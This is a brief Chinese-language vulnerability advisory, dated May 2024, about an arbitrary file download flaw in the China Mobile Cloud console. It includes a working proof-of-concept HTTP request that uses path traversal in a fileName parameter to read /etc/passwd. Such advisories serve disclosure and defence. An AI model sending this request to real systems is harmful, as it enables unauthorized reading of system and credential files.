移动云控制台存在任意文件下载漏洞

日期: 2024-05-24 | 影响软件: 移动云控制台 | POC: 已公开

中国移动云控制台是一套用于统一查看和管理移动云产品及服务的系统，移动云控制台存在文件任意下载漏洞，攻击者可利用此漏洞获取任意文件信息。

GET /api/query/helpcenter/api/v2/preview?fileName=../../../../../../../../etc/passwd HTTP/1.1